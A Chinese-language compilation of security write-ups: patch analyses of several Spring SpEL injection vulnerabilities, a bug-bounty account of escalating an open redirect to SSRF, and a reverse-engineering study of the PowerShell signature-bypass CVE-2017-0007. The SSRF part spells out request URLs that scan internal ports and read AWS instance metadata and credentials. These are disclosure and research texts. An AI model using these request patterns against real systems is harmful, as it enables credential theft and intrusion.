第80行将首部的selector字段的值取出，就是我们之前传入的恶意表达式，接着到83行，这一步就很熟悉了，使用解析器去解析表达式，显然这个时候再有一个getValue方法触发并且没有使用simpleEvaluationContext就能够直接执行我们传入的表达式了。
监听网络流量，发现后面send信息的时候，将会将消息分发给不同的订阅者，并且转发的消息还会包含之前connect的上下文，即这里的expression将会包含在内。
于是，尝试随便在文本框中输入一些内容，然后点击Send，最终可以触发SimpleBrokerMessageHandler.java中的sendMessageToSubscribers方法如下：
继续进入findSubscriptions方法，并且不断往下走，最终可以发现在DefaultSubscriptionRegistry.java中filterSubscriptions方法中对上下文中的expresion做了提取，并使用StandardEvaluationContext指定了上下文，也就是说这里面可以直接执行代码，没有任何限制。并最终在第164行使用getValue方法触发漏洞，弹出计算器。
**1.6 补丁分析**
补丁中直接将上面的StandardEvaluationContext替换成SimpleEvaluationContext，使用该方法能够避免了恶意类的加载。
**2\. CVE-2018-1273**
**2.1 威胁等级**
严重
**2.2 影响范围**
Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)
**2.3 利用难度**
简单
**2.4 漏洞描述**
Spring Data Commons组件中存在远程代码执行漏洞，攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击，直接获取服务器控制权限。
**2.5 漏洞分析**
从上述/users入口，最终会调用到MapPropertyAccessor静态类中对用户名进行处理。而在该类中包含了进行SpEL注入需要满足的条件如下：
* 首先创建解析器：
* 接着使用Standard上下文
* 然后包含待解析表达式
* 最后使用setValue触发
**2.6 补丁分析**
补丁依旧直接将StandardEvaluationContext替换成了SimpleEvaluationContext，使用该方法能够避免了恶意类的加载。
**3\. CNVD-2016-04742**
**3.1 威胁等级**
严重
**3.2 影响范围**
Springboot 1.1.0-1.1.12
Springboot 1.2.0-1.2.7
Springboot 1.3.0
**3.3 利用难度**
简单
**3.4 漏洞描述**
低版本的springboot在处理内部500错误时，使用了spel表达式，并且递归向下解析嵌套的，其中message参数是从外部传过来的，用户就可以构造一个spel表达式，达到远程代码执行的效果。
**3.5 漏洞分析**
访问上面的URL，可以进入到我们的控制器，并紧接着抛出异常如下：
进入异常的代码，经过冗长的代码调试，最终可以来到关键点的render方法：
接着进入render方法查看，这里面的replacePlaceholders方法将会进行形如${}的spel表达式替换：
进入该方法查看，最后进入parseStringValue方法,该方法会循环将带有${}的错误页面的HTML字符串中的一个个{message}是我们传入的值。
于是可以就此构造我们的payload，借助他的循环，继续解析spel，最终造成任意代码执行。其中，解析spel的代码如下：
**3.6 补丁分析**
通过添加一个NonRecursivePropertyPlaceholderHelper类，对于二次解析的值进行限制：
**4\. CVE-2017-8046**
**4.1 威胁等级**
严重
**4.2 影响范围**
Spring Data REST prior to 3.0.1 and Spring Boot versions prior to 1.5.9
Spring Data REST prior to 2.6.9 Spring Boot versions prior to 1.5.9
**4.3 利用难度**
简单
**4.4 漏洞描述**
用户在使用PATCH方法局部更新某个值的时候，其中的path参数会被传入SpEL表达式，进而导致代码执行。
**4.5 漏洞分析**
执行上述payload，定位到程序的入口如下：
（注：这个类在springmvc里面，名字为JsonPatchHandler）
重点看这个三目运算，其中的判断是看HTTP方法是否为PATCH和content-type是否为我们上面提到的那个，然后会进入this.applyPatch方法，接着根据我们指定的replace字段进入对应的处理器：
然后实例化patchOperation，并初始化spel解析器：
最后再调用setValue触发：
**4.6 补丁分析**
这里用2.6.9中的修复方案举例子，在perform中不是直接setvalue，而是先做一个参数合法性校验（此处添加了SpelPath类），将path中的参数用'.'分割，然后依次判断是否是类的属性，只要有一个不是就直接报错，从而解决了上述问题，部分补丁图片如下：
**5\. CVE-2017-4971**
**5.1 威胁等级**
中危
**5.2 影响范围**
Spring Web Flow 2.4.0 ~ 2.4.4
Spring Web Flow 2.4.4 ~ 2.4.8
**5.3 利用难度**
较高
**5.4 漏洞描述**
当用户使用Spring Web Flow受影响的版本时，如果配置了view-state，但是没有配置相应的binder,并且没有更改useSpringBeanBinding默认的false值，当攻击者构造特殊的http请求时，就可以导致SpEL表达式注入，从而造成远程代码执行漏洞。
**5.5 漏洞分析**
首先通过执行confirm请求，断点到如下位置：
这里可以发现可以通过判断binderConfiguration是否为空来选择进入哪个处理方法，这里的binderConfiguration值指的是在配置文件中配置的binder内容。深入查看这两个处理方法。其实都用了SpEL表达式，不过addModelBindings方法传入的参数的是上面提到的binder，是写死在xml文件中的，无法去更改，所以这里面就考虑当没配置binder的情况下走进addDefaultMapping方法的情况。
addDefaultMappings方法如上，其作用是遍历所有的参数，包括GET参数和POST中的参数，然后一个个判断其是否以"_"开头，如果符合就进入addEmptyValueMapping方法进行处理，否则就进入addDefaultMapping方法进行处理。本次漏洞的触发点是上面这一个，所以我们深入查看一下addEmptyValueMapping方法。
可以看到该方法用SpEL表达式解析了传入的变量名，并在后面使用了get操作，从而可以导致漏洞的产生。
**5.6 补丁分析**
查看官方补丁源码如下：
将表达式类型换成了BeanWrapperExpressionParser，因为该类型内部实现不能够处理类所以避免了该问题的发生。
然而上述还提到如果参数类型不是以"_"开头的将会进入addDefaultMapping方法，下面我们进入该方法进行查看：
可以看到这里也对传入的参数进行了解析但是没有看到明显的get方法来触发，继续往下寻找get方法。首先这里面将解析器放入了mapper中，下面就重点追踪这个mapper的使用即可。
首先发现一步步回到之前的bind方法，可以发现最后一行对该mapper进行了操作，跟进该map方法:
在这里就进行了get操作，从而再次触发了漏洞。
对此，也可能跟这个没关系，官方最终将全局的解析器换成SimpleEvaluationContext来彻底解决此问题。
**6\. CNVD-2019-11630**
**6.1 威胁等级**
严重
**6.2 影响范围**
Spring Boot 1-1.4
Spring Boot 2.x
**6.3 利用难度**
简单
**6.4 漏洞描述**
用户在通过env路径修改spring.cloud.bootstrap.location的位置，将该地址设置为一个恶意地址时，并在后面使用refresh接口进行触发就可以导致靶机加载恶意地址中的文件，远程执行任意代码。
**6.5 漏洞分析**
搭建环境并按上述方式进行攻击，并搜索到spring-cloud-context-1.2.0.RELEASE.jar中的environment和refresh，然后下断点跟进，可以发现首先的env改变会将下面体现：
其实就是将环境中该变量的属性值进行更新。
之后看一下关键点refresh接口，首先一旦refresh接口被触发，就会将有变化的信息以及一些基本信息挑选出来，如下图可以看到之前变化的值已经被挑选出来：
接着进入到addConfigFilesToEnvironment方法进行处理，先获取到所有的环境值，然后设置一个监听器，依次处理变化的信息：
这里我们直接跳转到处理这个恶意地址的关键部分，首先进入ConfigFileApplicationListener的load方法：
这里面先判断url是否存在文件路径，如果存在才进入处理该地址，否则将name的参数设置成searchName进行处理，这里的值为“bootstrap”，后面会强行加上后缀。然后一直深入到PropertySourcesLoader类中的load方法：
首先会发送一个head请求判断文件是否存在，以及是否是一个文件，然后会根据文件后缀来判断是否能解析，这里面就是yml文件，所以判断可以用YamlPropertySourceLoader类来处理。然后进入该类的load方法中：
在这里将会加载远程yml文件，并处理里面的内容，而导致远程代码执行的发生。
**6.6 补丁分析**
在springboot 1.5及以后，官方对这些接口添加了授权验证，不能够再肆意的调用他们了。
## 八、漏洞利用
漏洞利用视频，请转到原文观看，链接：<https://mp.weixin.qq.com/s/gfCtSJoefYLjJpaksbKLrQ>
## 九、参考链接
1.<https://leokongwq.github.io/2019/04/17/spring-spel.html>
2.<http://rui0.cn/archives/1043>
3.https://misakikata.github.io/2020/04/Spring-%E6%A1%86%E6%9E%B6%E6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88/#CNVD-2016-04742-Spring-Boot%E6%A1%86%E6%9E%B6SPEL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E
4.<https://chybeta.github.io/2018/04/07/spring-messaging-Remote-Code-Execution-%E5%88%86%E6%9E%90-%E3%80%90CVE-2018-1270%E3%80%91/>
5.<https://www.cnblogs.com/hac425/p/9656747.html>
6.<https://www.cnblogs.com/litlife/p/10183137.html>
7.<https://www.cnblogs.com/co10rway/p/9380441.html>
8.<https://github.com/spring-guides/gs-accessing-data-rest/tree/2.0.3.RELEASE>
9.<https://paper.seebug.org/597/>
10.<https://www.mi1k7ea.com/2020/02/09/%E6%B5%85%E6%9E%90Spring-WebFlow%E4%B9%8BCVE-2017-4971/>
* * * | 社区文章 |
原文链接：<https://medium.com/@logicbomb_1/the-unusual-case-of-open-redirection-to-aws-security-credentials-compromise-59acc312f02b>
大家好！
这是关于我最近的漏洞案例，我个人觉得这是我最不寻常的黑客攻击之旅，其中一个开放的重定向导致我在印度领先的金融科技公司中
获得访问AWS
EC2凭证。下面我将解释如何通过首先找到一个不寻常的重定向然后获得远程文件包含(RFI)，将其升级到服务器端请求伪造（SSRF）并最终获得AWS
EC2凭证来访问AWS安全凭证。
最近，我一直在学习路由如何在ASP.net编写的应用程序中工作，基本上如何将URL路由到正确的逻辑或功能， **ASP.NET Core MVC**
使用路由
中间件来匹配传入请求的URL并将它们映射到动作。很多时候由于错误的路由逻辑和不正确的代码架构，错误配置的路由可能导致执行其他
无意义的功能。为了进一步理解这一点，我建议阅读[这篇文章](https://docs.microsoft.com/en-us/aspnet/core/mvc/controllers/routing?view=aspnetcore-2.2)。
**MVC架构**
在测试印度最大的Fin-tech公司时，我发现该应用程序是用ASP.net编写的，并且运行在Windows IIS/10.0上，只需检查响应头即可轻松获取
**应用程序通过Windows IIS服务器并在ASP.net中编写**
现在，为了理解路由规则在代码中的编写方式，我添加了原始URL:<https://redacted.com/>，
带有参数的url:<https://redacted.com/xyxyz>，正如预期的那样，它会抛出404未找到。
但是当我访问“My
account”页面并做同样的事情时，情况有所不同:<https://redacted.com/myaccount/xyyyz>，在这里我得到301重定向到请求来自的路线，
即:<https://redacted.com/myaccount>。现在，如果我附加一个随机的HTTP网址：[
https://redacted.com/myaccount/http://evilzone.org
](https://redacted.com/myaccount/http://evilzone.org)
并且与上面发生的相同，它会被重定向到evilzone.org，但网址仍然是：[https：//
redacted.com/myaccount/http://evilzone.org](https://redacted.com/myaccount/http://evilzone.org)这意味着页面已在服务器中加载，很可能按原样发送到上游服务器。
那么代码背后的逻辑一定是
> 对于像一个URL路径像：`/myaccount`,
> 的myaccountApi。对于具有HTTP或HTTPs协议的URL路径，将执行MyProfile操作，
>
> 对于像`/myaccount/^(http|https)://(.*)`,接受它并将其传递给上游服务器，并且对于任何不匹配任何其他条件的任何内容，执行与
>
> myaccountApi.MyProfile相同的操作
开发人员留下这样的代码的原因似乎是一个测试代码，它本来是在一个临时环境中，但可能是由于疏忽它被推到prod环境和上游代理中配置错误的规则。
现在，为了检查和调试HTTP请求，我使用了[Requestbin](https://requestbin.com/)，它与[Burp
Collaborator](https://portswigger.net/burp/documentation/collaborator)的用途几乎相同。所以我发出了请求<https://redacted.com/myaccount/https://en1sxi232vmus.x.pipedream.net/>这里是我得到的响应信息：
正如你所看到的那样， **x-forwarded-for** 标头中有2个IP，这是奇怪的，当我执行whois查找时，我发现第一个IP是我的路由器IP，
这很明显，但第二个IP属于服务器 **redacted.com** 的IP（即上游代理服务器）。我在第一步中获得的重定向现在变成了服务器端重定向，
而不仅仅是客户端重定向。现在，如果它是服务器端重定向，那么SSRF（服务器端请求伪造）攻击肯定会有很大的机会。上游代理可能有如下配置
# server context, here the victim.com is the value which is passed #by MVC action.
location /myaccount/* {
proxy_set_header HOST $host;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for, $client_ip ;
proxy_pass http://victim.com/;
}
. . .
我去测试SSRF并试图通过点击不同端口上的本地主机来检查开放端口，如<https://redacted.com/myaccount/http://127.0.0.1:80>，
我得到200状态OK这意味着端口是打开的（当应用程序在其上运行时很明显）当我在不同的端口上发出请求时，如21：
<https://redacted.com/myaccount/http://127.0.0.1:21>，它给出了以下响应
**状态代码000**
状态码000，而不是200确认端口可能被关闭或过滤。所以在这里我为SSRF执行了一个简单的第一个测试用例—— **内部服务器端口扫描** 。
现在进一步观察响应头（X-Amz-Cf-Id和cloudfront关键字），它确认应用程序已经通过AWS -
**X-Amz-Cf-Id和cloudfront关键字**
所以在不花费太多时间的情况下，我继续打电话来阅读AWS实例元数据API（[http://169.254.169.254/latest/meta-data](http://169.254.169.254/latest/meta-data/)），完整的URL是——<https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data>，这是我得到的响应
**AWS实例元数据**
此外，我进行了API调用以访问ssh公钥访问：（<https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key>）我有权访问它
**SSH公钥**
所以我有了SSRF，并且能够扫描内部端口，能够访问EC2元数据，现在可以读取AWS安全凭证。AWS用于识别Amazon EC2基础架构其余部分的实例的凭据，
我必须制作调用AWS实例元数据安全凭证API，最终的URL是（<https://redacted.com/myaccount/http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance>）正如我所料，我能够获取AWS安全凭证
**访问AWS安全凭证**
但附加到ec2实例的IAM角色似乎具有非常有限的权限，因此附加到它的风险级别很低。这是关于这个有趣的发现，其中一个不寻常的重定向
导致通过SSRF访问AWS账户凭证。这是一个纯粹的例子，说明弱的和未经审查的代码以及错误配置的规则将会导致严重的漏洞。对于公司来说，
开发人员的学习很简单。如果没有适当的同行评审，就不要在生产环境中提交代码。很有可能在prod环境中过度推送分段测试代码，并且总是再次查看手动创建的代理/路由规则。
报告详情 -
2019年5月25日 - Bug报告给有关公司。
2019年5月26日 - Bug被标记为已修复。
2019年5月26日 - 重新测试并确认修复。
2019年5月30日 - 奖励。
谢谢阅读！ | 社区文章 |
简而言之，设备用户模块代码完整性防护措施是指阻止没有授权的程序运行，除非他在windows当中经过了信任授权。当然这一防护措施只有windows当中存在，并且它存在于Powershell中防护语言模式([Contrainted
Language
mode](https://blogs.technet.microsoft.com/kfalde/2017/01/20/pslockdownpolicy-and-powershell-constrained-language-mode/))。当我研究开启防护措施的机器上是如何执行脚本一段时间后，我最后找到了一种方法可以在开启防护措施的系统中执行任意脚本。在向MSRC报告问题后，最终将该漏洞命名为CVE-2017-0007（MS17-012），并且已经修补。这个特定的错误只会影响PowerShell和Windows脚本主机，而不会影响编译代码。
这个漏洞是我第一个CVE，同时也是我第一次分析补丁。所以这篇文章不仅介绍了漏洞的生成，还将会逆向分析补丁如何工作。由于这是我第一次做这种工作，所以可能会有一些错误。如果在文章中出现了错误，请在下方评论告诉我，我加以改正。
当执行一个拥有签名的程序时，wintrust.dll会验证这个文件的签名。这是文件执行后查看得知的。事实上，如果你使用有微软签名的脚本对这个程序进行修改，那么这个程序的完整性就会受到破坏，并且签名不会有效。此类验证对于设备防护至关重要，它的唯一目的就是防止没有签名或者不受信任的代码运行。
CVE-2017-0007就绕过了这种防护措施，允许你通过简单地修改先前已经获得批准的签名的脚本来运行任何未签名的代码。这种情况，我们选择有一个微软签名的脚本是为了能够在开启设备防护措施的机器上运行。举个例子，如果我们尝试在PowerShell中运行一个没有签名的脚本(可以是实例化网站的脚本)，会因为PowerShell处于防护语言模式(Constrained
Language
mode)导致执行失败。通过部署代码的完整性策略可以批准任何有签名并且受信任的Powershell脚本在任何语言模式(Fulllanguage)下没有任何限制的运行。在这种情况，我们的代码并没有签名而且也不是受信任代码，所以他在防护语言模式不会被执行成功。
很幸运的是，微软有能够进行签名的脚本，你可以使用sigcheck或者Powershell命令`Get-AuthenticodeSignature`。在这种情况，我从Windows
SDK中抓取到了一个具有签名的Powershell脚本，并且将它重命名为:"MicrosoftSigned.ps1"
像这样具有签名的脚本，它们往往在正文中被嵌入一个认证签名。如果你修改了这个文件的任何内容，则这个文件的完整性就会破坏，那么这个签名就会无效。你可以简单的从已经存在签名文件中复制签名到一个没有签名的文件中。
就像你看到的这样，这个脚本的内容已经被我们自己的代码替换了，并且sigcheck脚本给出“这个文件的签名无效”的提示。这意味着文件的完整性已经遭到了破坏，并且代码会被阻止运行，不过确实会这样吗？
如上图所示，尽管我们的签名是无效的，但是我们已经执行了我们的程序。微软将这个漏洞命名为CVE-2017-0007,归类为：MS17-012。这个漏洞根本原因是确保文件的完整性的代码并没有验证成功，也就是验证程序没有对存在错误代码的未签名程序进行验证，最后成功执行未签名的脚本。
那么，这个漏洞的是什么造成的，并且应该如何修补这个漏洞呢？设备防护依赖于wintrust.dll去解决已签名文件的验证签名以及完整性的问题。由于这个漏洞的根本原因，所以我找到了第一个漏洞发生的位置。使用bindiff比较打补丁前的wintrust.dll(10.0.14393.0)以及打补丁后的wintrust.dll(10.0.14393.953)，我发现新增了一个代码块。同时，还有一个变化，这个变化是在验证签名这一方面的唯一变化。因此，我猜出这一部分是漏洞的补丁：
进一步查看，你可以看到从"sub_18002D0F8"中删去了一些代码：
新添加的代码块叫做"sub_18002D104"，你可以从中发现它包含一些来自"sub_18002D0F8"的代码同时一些补充。这些函数没有特定的符号，所以我们必须用他们定义的名字。或许，你可以在IDA中对这些函数进行更有意义的命名。
上图中的文字有点小，不过我会更深一层次的解释上面代码做了什么。我不会详细的介绍如何使用bindiff,但是如果你想了解更多，你可以查看[使用手册](https://www.zynamics.com/bindiff/manual/)。有了漏洞发生的确切位置，我开始探索在执行未签名程序时，到底发生了什么。我们知道修复过程中，从"sub_18002D0F8"删除了一些代码，并且添加了新的代码块叫做"sub_18002D104"。所以这两处变化是个不错的起点。首先，我在IDA中打开了没有打补丁之前的wintrust.dll(10.0.14393.0),跳转到补丁中修补的地方，即：sub_18002D0F8。这个函数通过设置一些变量开始，然后他们调用:"SoftpubAuthenticode"
查看"SoftpubAuthenticode"发现接下来它调用了"CheckValidSignature"方法：
似乎"CheckValidSignature"这个方法会在程序执行之前验证签名或者完整性。查看这个方法的内容，可找到在返回值之前调用的最后一个方法：
通过在最后一个函数设置一个断点，我们可以在eax寄存器中可以看到来自”CheckValidSignature”的错误代码。如下图黄色标记：
错误代码为:"0x80096010",根据WIN
SDK中的wintrust.h源码解码之后解释为:"[TRUST_E_BAD_DIGEST](https://msdn.microsoft.com/en-us/library/windows/desktop/aa376512%28v=vs.85%29.aspx)"也就是签名错误。这就是为什么我们运行sigcheck检查未签名文件时，我们看到了"这个文件的签名无效"的原因。在"CheckValidSignature"返回之后，我们又到达了"SoftpubAuthenticode"方法。
调用"SoftPubAuthenticode"之后，会继续调用"SoftpubCallUI"方法，接下来会返回到"sub_18002D0F8"，并且在这个过程中，eax寄存器中一直都存放着"0x80096010"这个错误代码。现在我们知道了错误代码是什么，并且在哪个位置存放错误代码。现在我们可以更进一步了解为什么"CheckValidSignature"返回错误，但是我们还是可以将我们的脚本执行成功。此时，在"SoftpubAuthenticode"调用后立即在"sub_18002D0F8"中恢复执行。
由于错误代码存放在eax寄存器中，它通过`mov rax,[r12]`从SoftpubAuthenticode方法返回后，直接被覆盖。
由于判断我们脚本的签名不正确的错误代码已经不存在了，所以它现在处于认证状态，并且已经被允许执行：
我们现在已经知道了这个漏洞是如何形成的，我们现在可以看看微软是如何对漏洞进行修复的。为了去了解他的做法，我们需要下载安装补丁KB4013429。通过查看新版本的wintrust.dll(10.0.14393.953),我们可以搜索"sub_18002D104"也就是之前提到的新添加的代码块。我们现在已经知道这个漏洞的原因是寄存器中的错误代码被覆盖而导致没有被认证。我们可以看到这个补丁在”SoftPubAuthenticode”返回之后添加了一条新的调用：
在上图中，你还可能注意到我们的错误代码存放在了ecx寄存器中，并且覆盖rcx寄存器的指令现在取决于一个跟随"jump if
zero"指令的测试指令。这就意味着我们存储在"ecx"寄存器的错误代码只有不遵循跳转的情况进行重写。在新引入的代码中，你可以发现以下内容：
这一方法根据我们对错误代码进行的操作进而返回Bool类型。添加的这一方法是用来检查调用"SoftpubAuthenticode"方法是否成功，或者检查返回的代码是不是和"0x800B0109"匹配，也就是和"CERT_E_UNTRUSTEDROOT"匹配。在这一方面，SoftpubAuthenticode返回0x800996010(TRUST_E_BAD_DIGEST)，显然返回的代码与条件不一样，所以这一方法返回1，即True。
将“al”设置为“1”并返回到先前的方法后，我们可以看到这个错误是如何实际修补的：
将"al"设置为"1"时，这一方法又对"al"的值是否是0做了判断。如果不是0,它会设置"r14b"寄存器为0(由于前一个测试指令中没有设置ZF标志)。最后判断"r14b"寄存器中的值是不是0。如果它是0,那么会跟随跳转，将重写"rcx"
寄存器这一步骤跳过(留下ecx寄存器保留我们的错误代码)。错误代码最后被验证，以及我们的脚本会在防护语言模块被拦截，导致执行失败。 | 社区文章 |
Subsets and Splits